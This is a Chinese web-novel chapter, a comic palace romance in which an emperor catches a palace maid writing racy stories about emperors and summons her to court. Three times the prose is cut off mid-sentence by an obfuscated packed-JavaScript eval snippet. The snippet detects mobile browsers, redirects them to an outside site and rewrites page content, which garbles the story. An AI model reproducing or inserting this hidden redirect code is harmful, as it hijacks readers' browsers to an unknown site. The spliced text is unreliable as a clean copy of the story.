《朕的一天》 1. 酉初 自鸣钟又打过一次,日头便完全跌到宫墙底下去了。 里外还未掌灯,这是养心殿一天中最黑的时辰。 赵有良站在养心殿门口朝里望,重重叠叠的黑与灰深处,蓦地流泻出一泓清亮的光,那是东暖阁炕几上的宫灯,在此时显得格外亮堂。 皇帝就在那灯边上坐着。内务府的于荣光正带着几个小太监跪在东暖阁里回话,中年太监声音尖细带哑,倒像是猫儿挠。 皇帝手里捧着卷书,纸张都已经被翻得起毛边了,一看便知不是大内御制。于荣光心中打战,也不敢抬头,连呼吸都是谨小慎微,感觉自个儿脖颈上的衣缘,正随着他的气喘,一下一下地打磨着皮肉。 也不知是看到了什么,端坐在炕上的皇帝眼角上扬,伸出手不轻不重点了纸面一下,被窗外斜阳拉出极细长的影子。 “走地鸡?” 于荣光头脑发麻,想笑又不敢,心里一连声叫了好几句神天菩萨,将头恨不得埋到砖缝里去,就连调子也跟着降下三分,“是。写这种污糟东西,自己心虚,不敢用真名。” 那也不能叫走地鸡。 皇帝没听过鸡叫,更没见过活鸡。提起这三个字,最多想起的就是一道道各式各样的御膳,什么白切鸡、鸡肉羹、炙子鸡。她就是这样的人,脑子里天南海北,你摸不准她下一句话会落在哪里。 捉摸不定,素来可恨。 于荣光见皇帝不说话,壮着胆子继续回,“主子吩咐一到,奴才们立时就查出来了。主子真是神机妙算,果真就是先帝在时大选,主子您荐了没中的那一位。当年留在景仁宫老贵主子身边学规矩,先帝爷升遐后,景仁宫娘娘去了颐和园,姑娘如今留在咸若馆洒扫金身。” 皇帝淡淡地哦了一声,音调如常,仿佛在说一件再小不过的事,“女子无德,谁焉敬之。近于嚣张,害事不浅。” 显然皇帝不愿意在这种事上花费太多时间,捻着纸页潦草翻动几下,皱眉问,“那现在呢?” 现在? 于荣光心里发颤,现在不就是在宫里写写话本子,然后被您给逮了么? 明面上自然是不敢这么说的,于荣光能够混到内务府总管,还得有点口头功夫与脑瓜。他忙将脊背往下面弯了弯,声音也很恭顺,“现在姑娘知错能改。” 皇帝总算展了眉,“知错能改,尚可饶恕。” 于荣光没敢回话,心想人家混得逍遥着呢,算什么知错能改?惟顶上这一位,一直四个字四个字儿得往外蹦,显然气得不轻。 他心里掂量一下,尽量找补着皇帝的话往下说,“是。姑娘现在在宫中勤勤恳恳,专注于敬修内德。” 皇帝觉得许久不痛的太阳穴忽然突突直跳,沉默了晌刻,才瞥一眼于荣光,“当年未曾放出宫去婚配?” 于荣光答没有,“她们是最后一拨,先帝爷让跟着景仁宫老贵主子学规矩,预备再指婚。先帝爷驾崩,内务府得主子的口谕,一切以先帝爷的规矩为先,景仁宫贵太妃移颐和园去了,她们便暂且留在宫里,分到四处当差。” 正说着,隔断外传来一阵儿脚步声响。皇帝便知道这是太后来了。 太后穿着厚底的凤头鞋,就着乌嬷嬷的手,款款越进了东暖阁。皇帝起身朝她垂首问安,口中道,“额捏金安。” 太后说起来吧,也不客气,提袍在炕上坐了。见底下跪着个人,定神一看,反倒笑了,“你也快起来吧!”看向皇帝,“如今养心殿的气质与你阿玛在的时候很不一样了,怎么,从赵有良到于荣光,都兴筛糠么?” 皇帝冷冷哼了一声,转身去也坐下,“这起子人油嘴滑舌,办事不力,白吃宫里的恩禄,着实可恨!” “你别吓唬他,我还嘱咐他给我换张新炕几呢。” 太后见炕桌上摆了本书,顺手翻看,皇帝刚想阻挡,太后已然翻开几页。只见那书面上赫然写的是《经史缉略》,打开来头一页,歪歪扭扭几个大字映入眼帘——贪人间赏恨成风月,俊帝王苦寻俏佳人。 太后面色微动,嘴唇忍不住抽了抽,暗暗惊叹,“皇帝读书,涉猎这般广。” 皇帝觉得脸上火辣辣的,脸色已然很不好。搭在膝头的手掩在马蹄袖下攥成拳,闭上眼平复了一下,用还算和缓的声音说,“这是儿子偶然拾到的大不敬之书。儿子正传于荣光过来,要严查严办。” 太后“哦”了声,轻巧地将书放在炕上,“不瞒你,我来呢,也是为这件事。刚刚静嫔瑞嫔来慈宁宫请安。皇帝既然是人君,就要有容人的雅量。宫里长日无聊,你前朝事忙,平素又顾不上她们。我原先还为这事着急,不过想了想也不急了,你爷爷你爹都这样……” 太后也察觉到自己说歪了,尴尬地嗽了声,转回话题,“时常说皇家皇家,总归也是个家,少不了有七情六欲。一个宫女子,何苦为难她?反正这东西留在宫里,全当取个乐,嘱咐他们不可外传就是了。” “额捏也知道了?” “甭说,”太后摆摆手,小老太太遇事儿豁达得很,“静嫔寻常陪我取乐解闷儿,故事说得那么好,原来是从这种书上得的。又没光明正大写你的名字编排你,他们戏文上那样多皇帝,做什么自己上赶着往身上套?那你老子你爷爷又该怎么想?岂不得气个倒仰?皇帝,你这么斤斤计较,真是何苦来哉!” 气个倒仰……那场面,不敢想。 皇帝忽然感到深深地绝望,就好像被扒光衣裳被众人指指点点,偏偏自己到今儿才察觉。 皇帝给了个眼风,赵有良很识时务,已经先带着于荣光出去候着。见人都走了,才压低声音恨声说,“额捏不知道,她写皇帝广召天下美人收入宫廷,宫嫔无数,夜夜笙歌,地……地动山摇。” “哦,那说的是昏君嘛,你又不是昏君。” “这个,”皇帝随手翻了一页,眉头皱成了一座小山,连念出来都觉得羞耻且艰难,“皇上红着眼掐着丽妃娇嫩的脖颈……这写的简直不知廉耻!一塌糊涂!” 太后也皱眉,“啧”了一声儿,“这写的纯粹是癫君嘛,你又不是癫君。” 皇帝无话可说了好一阵,总算又找到一个唾骂之处,“皇上怒不可遏,眼里几分薄凉,几分讥笑,几分漫不经心,声音寒凉,几乎要把人冻……冻死?” 太后被他矫揉造作的上扬尾音逗得好一阵咳嗽,望着天尴尬地说,“……那该是神君。” 皇帝掩住眼,彻底无话可说了。 自登极以来,心底难得涌现出几分挫败与苍凉,帝王的自尊还在负隅顽抗,“是可忍,孰不可忍。” “又没有八侑舞于庭,难不成你的后宫里真有什么丽妃吗?”太后试着开解他,“所以压根不是说你。皇帝是盛世的明君,至高无上的帝王,有祖宗千辛万苦踏出来的先路,满朝文武俯首帖耳。心胸放开阔些,” 太后指了指,“便无有不可过去之事了。” 见他不说话,也知道这事儿放在谁身上都不太好受。虽然没有明说,不过那宫女显然对宫廷生活没有一个深刻全面的了解,所以写出来的东西充满着自己的想象,虚不虚实不实。 太后只好打着圆场,拿祖宗们出来劝他,“宫里没有想的那么可怕,都是一样的人,过一样的日子吃一样的饭。你阿玛与玛法的后宫稀少得很,大家安分又平淡的过日子,谁愿意费那个脑子。这些话,当个稀奇事儿,就成了。” 不过这样也好,长久又乏味地孤单着,看一看别人眼中的自己,消愁破闷,也是很有一番趣味的。 知道皇帝还有旁的事,养心殿的炕毡又高又厚,因为要约束帝王仪态,不如家常的坐起来那么舒服。太后嫌屁股疼,略坐一坐就站起来了,犹自嘱咐他,“如今你是个有主意的,你看着来吧。若是因此静嫔不来与我讲新鲜故事,我就见天儿上养心殿来教训你,” 老太太想了想,可能自己也觉得费嘴皮,别把积年的母子处成仇敌,“——你也不乐意吧。” 忍不住添上一句,“翻得那么熟,还一翻一个准。” 其实天气不热,紫禁城的秋天是爽利的,日子再往下过,那北风就要跟刀子一样了。可是不知怎么,皇帝的额上已沁出些细密汗珠。 皇帝随着起身,说是,“阿玛还是阿玛,额捏还是额捏。儿子都省得。” 一直将太后送出养心殿,看见她老人家登辇而去,才折转回来。瞧见于荣光还跪在东暖阁外,跟个窝窝头似的,皇帝忽然觉得一口气噎在胸口,上不来也下不去。 “于荣光!”他咬牙切齿,“把人给我带过来!” 咸若馆是留在宫里的太后太妃们礼佛之处,总因为前头几位皇帝太过勤政的缘故,留下来的太妃们忒少。有的不喜欢紫禁城的憋闷,宁愿到畅春园或者颐和园养老,更有嫌紫禁城夏天太热的,自己又不怕冷,干脆请旨住到避暑山庄。余下那些不愿意挪动的呢,留在宫里,是宁愿自己辟一个小佛堂,也不愿意费脚程上咸若馆来的。 所以按照连朝的话来说,这里才是个福地嘛。平素只需要擦一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810040|158567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 擦佛像,不要断了佛前香火,还能够拜一拜神佛修身养性。没有主子到这里来,自然也不必担心得罪主子。花光鸟影让人心情舒坦,管事的谙达姑姑们也和气,简直就是她的快乐家园。 她们是不随主子近身伺候的宫女,榻榻在景山北边的妞妞房,她们按照排班当夜值,轮到当值的才住在宫中,不当值的在下钥匙前出宫去,比跟着后宫的主子们过日子的宫人,要松快许多。 日头西偏,老爷儿都显得疲倦。连朝在眉上搭起手看了看天色,转头回屋里斟茶,小翠抢着给她倒,她便让过,站在一旁接盏子,“休要殷勤。包袱里捎把伞,免得夜里下雨。” 小翠笑道,“瞒不过你这双眼睛。既然这么着,我也直说。宝荣今儿生辰,她不当值,我与姐姐换个班好不好,过了这遭,还想寻个好机会与她叙叙旧,就不知道是什么年月了。” 连朝喝口水,润燥,“你放心大胆地去吧。崔嬷嬷恰好是今夜的牌,咱们这儿没人来。有我看着香呢。” “我说你守在咸若馆,是辜负了。”小翠转过身,开柜子拿包袱,“咱们是同一批进来的,都在景仁宫学过规矩,怎么旁人成了主子,咱们反倒是奴才?” 连朝笑,用手指蘸了点茶汤,在八仙桌上头拉出一条长长的线,“我倒觉着做宫女,没什么不好的。” “好不好,就是这个样。能怪谁不好呢?高高在上的主子们,跟菩萨似的,低下头也不会瞧见咱们。”小翠在包袱上打了个结,“咱们跟蚂蚁似的——说不准连蚂蚁也不如。” 连朝百无聊赖地撑起头,看夕阳的光,一分一分地消失在琉璃瓦下,满宫寂静,偶有飞鸦,拉出极长的音调,她笑着叹了口气,“紫禁城里的路,像整齐的河流,咱们呢,就是河流里的鱼虾,各自奔腾。人力虽然渺小,一拨儿来了一拨儿去了,游落到哪里都彼此惦记着,就是因缘际遇里最大的幸事了。” 小翠说,“你就是心宽。”想起以前的事儿,也会心地笑,“我第一回见你,看见你的牌子上写的满汉双文的名字,连朝,我以为是朝向的朝,后来听嬷嬷念,才知道是朝霞的朝,我就记下了,不然和你住得近,老想结交你,又不知道字儿怎么念,倘若念错了,别说做朋友,估计就要讨一阵的打了。” 她很肯定地说, “——这也算因缘际会吧!” 两个人哈哈地笑了一阵,小翠忽然“咦”了声,转过脸问她,“上回宝荣向你借的书,她还回来了吗?” 连朝囫囵说:“还回来了吧。掉了也没关系,上头写的不是我自己的名字,没人认得出是我。” 小翠想了想,“我还得问问她。别的都能丢,这个可不能丢。规矩里宫女不能识字,可不识字,拿什么打发日子?就只有学阿猫阿狗叫,人家倒还要怨恨抢了小太监的活儿!” “咱们侍奉的主子不听猫儿叫。”连朝笑道,“宫里日子乏味,才写点东西侍奉自己啊。看重旁人不如看重自己。好好儿能相会的日子,做什么问不要紧的事。” 小翠挨过来,搭着她的肩与她说话,“你说,书里写的,冷着脸的主子,一往情深的王爷,真有这回事吗?” 连朝笑着反问她,“你见过吗?”小翠立时摇摇头,“哪儿能!我在长街上遇见仪仗,头也不敢抬。能看见闪得发亮的袍子角——只瞧见一回,那都是造化了。” 连朝耸耸肩,“所以与其想是不是真有这么回事,倒不如看个高兴,写个高兴。又没有指名道姓,主子们何苦找自己的不体面?” 小翠笑了一阵,还是说,“话是这么说。你这次不怪,下次不理,她们只当作你是个聋哑佛,越性儿胡来。要是被蠢笨的、有心的捡去,让上头主子们知道,内务府可不像崔嬷!还是得有头有尾才能心安。这话我一定要问的,不然是对不住你了。” “上头主子们还不打紧,只要不是主子爷,凭谁看去……” 尾音未落,就听得一阵沓沓的足音从揽胜门上来,惊飞起枝头鸟雀,闹得乌鸦们扯着嗓子,“啊”、“啊”地盘旋。 临溪亭碧波荡漾里,正是于荣光领着人,皮笑肉不笑,绕过咸若馆,精准无误地站在廊子外,扬声,“连姑娘,可叫咱逮着你了。养心殿请吧!” 于荣光这种人,他对你越不客气,你越太平。逢哪一日他忽然对你客气起来,那就是时运不济,他捏着把柄要整你。寻常于大总管不正眼瞧人,呼来喝去,不叫正名。连朝和小翠对视一眼,头脑发懵。 ——“我的天爷奶!歇菜了。” 2. 酉时二刻 慈宁花园傍依着慈宁宫,慈宁宫离养心殿并不远。是以连朝还没来得及盘算出一个前因后果,想要抬起头让自己醒醒神的时候,就已经看得见养心门的金漆满汉双排字,恢弘又敞亮。 于荣光适时喝她一声,“哎!姑娘仔细门槛,打这儿一迈进去,头可就不能抬了!” 连朝背后一激灵,老老实实提起袍子越过门槛。在微微抬头的一刹,看见逐渐隐匿在昏暗天光中的这座殿宇,肃穆而庄严。 她心里面有时辰,此时应该已过酉正,养心殿陆陆续续地点起灯。敬事房的孙进襄刚领着徒弟们捧银盘出来,臊眉耷眼的,见于大总管领着人回来,头先儿眼前一亮,凑上去彼此问了个好,孙进襄觑着,压低声音打趣他,“怎么着?来福气了,要你背呢?” 于荣光撇起嘴笑了,“怕是个晦气!老赵说得神乎其神,恁么唬人。”说着张开手,“两遭,都给栽在主子爷手里头。这不是缺心眼呢么!” 孙进襄竖起大拇哥,顺带往里头看一眼,张开一拃,这么比划,于荣光便知道主子今儿心里不是很痛快了。 敬事房里素来油滑的太监,对眼前这个垂着大辫子的宫女,无端也生出几分怜悯崇敬之情。 说她蠢笨,看上去可不是,虽然瞧不见眼睛,这微微弯下的身形,不古板,不僵硬,一看就是鱼式样的活泛人。到底是缺心眼还是压根儿没长眼,还是生来一身反骨,本就胆大包天。敢一而再再而三,在紫禁城的镇天太岁头上动土。真是勇气可嘉。 孙进襄几度欲言又止,还是噤了口。带着他的徒弟们,一溜烟儿向围房去叫散了。 于荣光也不敢多话,擎等着站在门口的常泰往暖阁里回话出来,朝他轻轻点了点头。这才得令,领着连朝,虾下腰进了东暖阁。 一室龙涎香无声弥散。 映入眼帘的便是三足珐琅西番莲缠枝大香炉。咸若馆在佛前供香一般供的是藏香或者沉檀,这是连朝第一回闻龙涎香。 很奇妙的味道,辛辣、沉静、热烈、芬芳居然能够混到一起,无端令人生出敬畏,便想要俯身望叩。更遑谈她的眼梭到脚踏上端端正正放着的那一双雪青色辑珠盘金龙库金边厚底皂靴时,是怎样地汗流浃背,忐忑不安。 她是看不见皇帝正脸的,皇帝自然也看不见她。 连朝有样学样,像每天早晨起来拜佛一般,随于荣光端端正正地给给座上的皇爷叩首行大礼。于荣光忙着打千,将将儿头才低下去,便看见旁边的这位连姑娘抻直了双手,加眉上,直愣愣地朝栽绒的地毯上狠狠行了个大叩首,口中恭敬道,“奴才给主子爷请安!” 皇帝嘴角颤了颤,头一次开始怀疑自己的眼光。 又觉得欣慰,这么些年,自己的眼光还是进益了些的。 接下来要谈的事是丢人的事,皇帝肃容,赵有良便会意,将暖阁里的人都领出去。 在整齐有序的步伐里,跪久了的人眼前发昏,忽而又随着步履远去而亮起来,她才知道是暖阁里终于也点起灯,在这昏昏的秋夜。 皇帝捻开一页书,颇有威仪的声调,“在朕的眼皮底下做此等不知死活之事,知道罪过不知道?” 连朝是识时务的人,主子爷手眼通天,也无心再想别的推诿的话,点头如捣蒜,连忙说知道,“奴才真是罪该万死。奴才为生计所迫,犯了大错,主子爷一代仁君,宽容奴才,广布大德,教导奴才认清自己的过错。奴才五内俱焚,俯首帖耳,诚心悔过,感激涕零,不知天地为何物。” 皇帝隔了半晌没说话,让她好战战兢兢运运味道,这才肃声说,“你虽在宫中当差,编排出来的东西,却很风马牛不相及。” 连朝心里虽然在腹诽,口头还是很老实地回话,再拿捏一点声调,请个人在旁边拉拉二胡就更惨了,“主子命人从咸若馆把奴才抓来,奴才才头一回开眼见宫里!奴才见识浅薄,实在愚昧,不敢肖想天家金碧辉煌的富贵,不过是寻常听了两嘴,就不知死活地胡乱添油加醋,写出那些七噶八嘎的粗鄙话,简直脏了主子的眼!这真是奴才的大罪过!” 皇帝依旧薄怒,随口问,“都是听什么人说的?” 其实也没听什么人说,自己瞎比划的。皇爷可是个不好惹的人,以前在家里,看哥哥读书,趁阿玛讷讷都不在家,正是没人约束的好时候。哥哥“嚯啦”一下跳上大板凳,叉起腰绷紧脸,口里叫嚷,“天子一怒,伏尸百万,流血千里!” 下边那个才开蒙的堂弟呢,拍着手板,趁他不注意,把板凳腿摇一摇,就让他跌下来了,边跑还边笑,指着他大呼,“嗨呀!秦王绕柱走!秦王绕柱走!” 这回可是真的天子一怒了,患难见真情,现在就是看交情的时候,是绝对不能把身边的人供出来的。电光火石间思来想去,立时就为这口锅找着了个去处。 她把头再低了低,动情又做作地说,“主子爷圣威辖下,宫里当差的都是再老实本分不过的人,是怎么也不敢胡说的。这些都是奴才未进宫前,听天桥底下说书先生信口说的!说什么宫里金碧辉煌,连房顶都是金子打造,说宫里的人其实心里头也苦得很——这不是瞎说么!还说……” “还说宫里的屋檐都是龙做的。” “对对对!主子您听听,这都什么话,这不瞎说么!所以主子您大人有大量,不和奴才这等没见识的人计较,主子的慈悲,奴才一辈子——” 连朝说到这里才察觉到不对劲,刚说了半截的话就这么止住,还是皇帝好心,没好气地干笑了一声,“抬起头看看吧!” 闹了半天,原来是熟人。 她讨好的笑挂在嘴面上,知道妄窥龙颜是大罪,匆匆看了一眼,又把头低下去了。真是太岁头上动土,不仅动土,这是替自己修坟。 她没话说,憋了半天才憋出来一句,“主子教化奴才,奴才真该死啊。” 皇帝又翻过一页,前头已经打过头阵,后面想必无出其右,无言再翻过几页,一页有一页的不堪。 养心殿窗下端坐的人,高在明堂,万国衣冠来拜他宝相。任何典仪都从未出过错,永远是泰然自若,气定神闲。如今难以忍受地嘴唇抽动,他搭在纸页上的手指轻轻颤抖,极力自制下来,才缓缓吐出一口浊气,“你说你写的这些,都是我告诉你的?” 她声如蚊呐,辩驳也苍白,“肯定不是!奴才编的……” 皇帝却不留情面地直接念了几句,才去看她,“你写,皇上因为受了丽妃的气,连屙屎都不顺畅。对着金片子、银片子挑剔了半天。” 他念得艰难,艰难里带着多少怀疑、多少不自信、多少无奈,“我有没有告诉过你,皇帝是人。你是没经过,没见过吗?皇帝屙屎,也是用手纸的。” 甚至颇有些委屈,“为什么要写用金片子,我不爱给屁股贴金。” “奴才也没见过您屙屎啊……” 皇帝没听清,“什么?” “您是天子!” 她恨不得拍拍自己的嘴巴,把头往栽绒的毯子上一个劲地埋,“奴才见识浅,没经过没见过,何况那是书里的,” 她陡然一转,“这正是奴才崇拜主子的体现呀!天家富贵,奴才等怎能轻易窥探知晓。但是在奴才的眼里,金子就是最贵的,最好的。奴才想,主子乃是天底下最富贵最威武的人,因此用的一应俱全也是最好的……” 皇帝冷笑一声,见她的头都栽成了蘑菇,“是么?” 几乎面红耳赤,要编不下去了,中气缺了好些,连哭腔都被逼出来,“主子罚奴才吧。奴才真没话说了。” 皇帝默默叹了口气,神智却还清明。没有因为她不着四六的一阵吹捧,就迷惑了心神。他耐下心告诉她,“宫里讲究珠圆玉润,讲究宛如天成,富贵显露出来叫什么富贵?” 顿了顿,乜了她一眼,慢条斯理地补充道,“朕看你就很珠圆玉润。” 她逮着机会就讨好,“那真是托主子的洪福。” “朕是说你懒出来的珠圆玉润。” 她便蔫下脸,“主子还是罚奴才吧。” 皇帝终于肯垂眼,看向地心上跪着的人。 这么些年,她好像还是没怎么变。 素来波澜不兴的眼波深处,有曾被照亮过的柔软。面上依旧薄怒,似乎很不满意她的胡搅蛮缠。沉下声倨傲地说,“那便罚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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那位连姑娘,此时就站在一片灯光旁边,面庞被照得一清二楚,虽说是垂下眼睛,看样子显得很拘束,可那拘束里,又带着些死里逃生的庆幸与好奇。 赵有良挫了挫脚尖,他徒弟常泰便迎过来,笑着问声“师傅好”,赵有良朝她站着的方向努努嘴,“带那位姑娘绕咱们养心殿走一圈儿,教她知道什么屋子叫什么名字,有什么用处。省得脑子蒙了油,揣着两条腿瞎走。” 常泰对谁都带着笑,这边应下他师傅的话,心中短暂忖度前因与后果,便笑嘻嘻地迎过去,先敞亮地问个平安,“姑娘好!” 连朝也忙还礼,“谙达也好!” 是真的好,从鬼门关边儿上走回来的人,此时看这个活人都赛神仙,个顶个的好。 常泰嘴上说不敢,朝佛堂那头望了一眼,说:“主子有吩咐,姑娘随我来吧。” 他奉命带这位“识屋子”,心想真是好造化。面上也打起了十足十的恭敬,微微呵着腰领她打养心殿外头往里面望,把养心殿大体的格局与她说明白。譬如哪边能进人,哪边不能走。养心殿更有人气儿,更有家常味,不比乾清宫,挡在前朝与后宫交界的前头,出门看就是三大殿的浓影。 既然人家这么诚心诚意地介绍,连朝亦很配合地打起十二分精神来听,一面笑应着:“托您的福,我今儿可算长见识了!” 皇帝正盥完手,从佛堂转到三希堂。他刚一抬头,就瞧见硕大的窗户外头站着两个人,那个稍稍小一些的,眼里充满了崇拜与好奇,正跟观猴似的透过窗户望里头望。 隐隐约约听见她兴奋地说:“这旁边的屋子就叫三希堂?还放了几大匣的章?”她甚至上手比划起来:“噢,难不成主子爷一不高兴就戳个章,一不高兴就办个章,神天菩萨,万岁主子居然还有这等雅兴,没少糟蹋书画吧?” 常泰只顾着往后边梭一把眼睛,他连连应是,“是极了!连姑娘,这话可不能在明面上说。我有回跟在主子边上,瞧怹老人家一鼓作气,往纸上盖了足足十三个章!” 连朝伸出五指,“十三个啊!” 常泰拍拍胸脯,“千真万确,我定着眼数的,保准错不了!” 刚进来打算回话的赵有良,成了触霉头的第一人。皇帝偏过头就看见了他,寒着声忿忿不平地问,“很好笑吗?” 3. 酉时三刻 赵有良才发觉不对劲,隔着玻璃窗,下死眼瞪着正喜滋滋的常泰,常泰还在胡天吹地,一双眼从廊上的彩画要讲到窗子上的花样,冷不丁遇见他师傅的眼睛,霎时心里凉了半截,等他仔仔细细朝屋里分辨了去,才发现不知道什么时候,万岁爷和他师傅正透过窗子瞧他们呢! 连朝没回过神来,指着暖阁里清朗的人影问:“这人谁啊?谁敢这么理直气壮站在万岁爷怹老人家的暖阁里?” 话一说完她就回过神来了,懵了一下心想褶子了!扯扯常泰的衣袖,茫然装瞎子,“谙达,丢了魂了!我这是在哪儿啊?我可什么也没瞧见啊!” “嗨呀!咱可快跪下吧!” 皇帝懒得搭理,举步越过门槛,便往东暖阁看折子去了。 赵有良领着她与常泰进来谢罪,这回是真给吓怕了,眼睛都不敢乱梭,恨不得凿死在地毯上。 是常泰先开口,磕一个头下去,“奴才死罪。” 她立马乖觉地跟着,“奴才也死罪。” 照这么一句话挂在嘴边,犯了错是奴才死罪,高兴了也是奴才死罪,都不知道一天统共要死多少回。 御案上垒着奏折,明黄色的缎子面在灯下隐有云纹。皇帝提着笔,笔尖朱砂色落在雪白的纸面上,沙沙有声。室内寂静,惟有偶尔蘸笔换墨之时,才偶尔可闻得笔与砚相触碰的叮然之声。 良久,也不知过了多久,皇帝才说,“御前失仪,杖二十。私撰杂书,杖二十。言语不敬,杖二十。目无礼法,杖二十。” 赵有良战战兢兢地站在边上,虾着腰偷偷觑皇帝的神情,都想也塌下去陪一个死罪。 皇帝瞥她一眼,“拉下去。” 眼见外头来了两个太监,要拉她下去。连朝闭了闭眼,眼前有些发白,不知怎么却想起了少时在家中,玛玛惯常用的壶。水快要烧开的时候,“喀哒喀哒”直往上冲热气,等将壶提起来,那盖子便不再冒了,是死一般地沉寂。 没能见着玛玛,倒成了玛玛的壶盖子。烧开了水,就不冒气了。 两个小太监将她拉起来,就要往外走,太监用蛮力,跪得久了,起身膝盖都疼。她心里默数着统共该捱多少杖?六十?八十?记不清了。 “慢着。” 皇帝总算搁了笔,赵有良原本以为万岁爷又要震怒,没想到他只是颇淡地说了声,“着人教她御前的规矩与体统,明日上任。” 这就是不打的意思了。 秋夜里冷,从暖阁里退出来,两个人都不约而同地缓了口气。连朝走不稳,感觉脚底下都是浮的,赵有良挥退太监,在前头领她走,等到绕过影壁,东暖阁的灯已经照不见。 她的步子落到地上,不似落在密而软的栽绒地毯,踏实的感觉才令她有心力去回想刚才的事,又觉得可笑。 连朝的笑凝在嘴角,敛衽,端正地向赵有良行礼,“闹腾了一天,真是劳动谙达费心,给谙达您添了不少麻烦。” 说着从袖管里掏出一块碎金子,出门着急,本拿来应急用,在偏僻地方当差,也收不到什么很好的赏赐,多少有些心疼,郑重地托在手心,“孝敬谙达的,谙达请别嫌弃。” 赵有良不置可否,只往前走,快从右边隔扇门出去,她也不好再跟着了,先握紧手里的金子,努力扬起笑低声叫“谙达”,指向另一头,“谙达奉皇差忙,我与谙达道个别。今日多谢谙达,我真是没脸在主子跟前现眼了。咸若馆那边还有香火,今晚我当值,我得回去看着。” 赵有良这才煞住步子,站定了回过头,似笑非笑地瞧她,“万岁爷的话,姑娘是一个字也没听见呢?姑娘算盘打得当当响,主子看在眼里没计较,免了你的打,你莫非是把攥着上头发善心,就以为好拿捏,所以又生想头呢!我看姑娘的胆儿真是没变化!” 赵有良“哼”了一声,“于荣光把你带来,消息早已传给崔嬷了,慈宁花园偏,大伙儿好说话,没人管你们今儿谁当班、明儿谁上值,糊弄着就了了。姑娘往后到了养心殿,咱请姑娘把那些滑头的心思收起来,我可不是天聋地哑的崔嬷!也不爱听什么好话!东北值房归出个榻榻,我劝您可甭想着再回去睡觉了,紧赶着快走吧!” 秋风送凉,以前沉浸在暑气里不曾察觉,如今涌动在脸上是真切地冷起来。有什么东西一滴、两滴地落在脸上,她于茫然里囫囵擦了一把,以为是自己着急得哭了,又以为是吓出来的汗,其实什么都没有,落在脸上的是雨,刚刚那也是真的惊雷。 紫禁城下起第一场秋雨。 养心殿前头的值房,各房的人办不同的差。东北值房住的是茶水上人和针线上人,专管主子进奉茶水、伺候衣冠。不同于景山底下妞妞房的连铺,养心殿跟前的榻榻,一人能占到一张铺。 赵有良领她到值房里,让管事的给她安排间屋子,早有人给他端茶递水,嘘寒问暖。此时不当班的宫女们,有些已经睡下,有些坐在灯下打络子。连朝觉得这里人密,听着沙沙的雨声,竟怀念起咸若馆。与小翠两个盘腿在炕上听雨,剪短灯芯说稀奇古怪的闲话。 在妞妞房里就更热闹了,她会给大家讲故事,说新书,趁嬷嬷们不注意,还会一起打叶子牌。流转的灯光照亮每一张面庞,那样堂而皇之的、有恃无恐的,以为会长久如此的时光,轻而易举又了无声息地结束。 当班的太监浑号马三爷,倒不是因为他真的姓马,是他长着一张马脸,成日家把眉头皱成个“三”。至于他的真名姓,大家早就不记得了,兴许连他自己都叫不上来。 赵有良刚迈进来一只靴子,马三爷就喜笑颜开地吆喝上了,“赵总管!今儿真是好风啊!赵总管赏脸来咱们这儿,小的扫榻相迎!” 赵有良没耐烦与他耍贫嘴,只说,“御前新来的人,给她找间屋子,有存的衣裳,给她,积留下来的铺盖,也给她。把主子的差事办好,我保管你这儿日日吹好风呢。” 马三爷不着痕迹打量那姑娘一眼,心里算有数,“有有有,都有。炮仗已经放过,咱听了个响,还纳闷是什么炮仗。她来了,是顶的谁的班?” 赵有良皮笑肉不笑,“什么炮仗?通闹下来一天,我还摸不准头脑!这叫做‘起居女史’,您问我?要不我替您问问主子?” 马三爷从来都是笑脸对没脸,呵着腰先赏自己两耳光,连连答应下来,“哎,哎,您说得是,又遭您教导了,您真是我的恩师!六儿,快送这位新来的什么史的,进屋子吧!” 边上的太监带着连朝往宫女们的榻榻里走。赵有良只盯着她的人和包袱一齐送进榻榻,便算了完差事。他更看不上值房里的伞,常泰乖觉,早早地带着伞在外头候着,等他提步出来,便殷勤地擎着伞,“师傅留心脚下。” 赵有良冷笑一声,“这时候又有眼力价了?” 常泰低眉顺眼,“奴才蠢笨,多亏师傅救我。” 赵有良这才忽然回头望了眼榻榻,慢悠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810042|158567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悠地说,“我劝你,心甭太大。人家装傻充愣,你有没有道行和本事,就跟着学?你真有心装糊涂,也犯不着我来捞你,该死,早就死了。” 马爷插不上话,跟着把人送到门口,见他们的身影从隔扇门边上进了,才对插袖子转过身,朝地上“呸”一口。摇摇摆摆地回值房喝茶里去了。 水凼里的雨顺着落下来的灯影,倒下成了太阳。 御前可不能失仪,外头再大的脾气,到养心殿里头都得和和气气的。廊下小太监递毛巾把子擦脸,常泰把伞扔给小太监,又给他换鞋子擦袍角。 赵有良在小杌子上坐下,鞋底儿落在他脸上,新作的厚底尖头鞋,压在皮肉上,靴尖儿来回擦了擦,问,“主子歇了吗?” 常泰低眉顺眼地说:“主子在里头看书呢。” 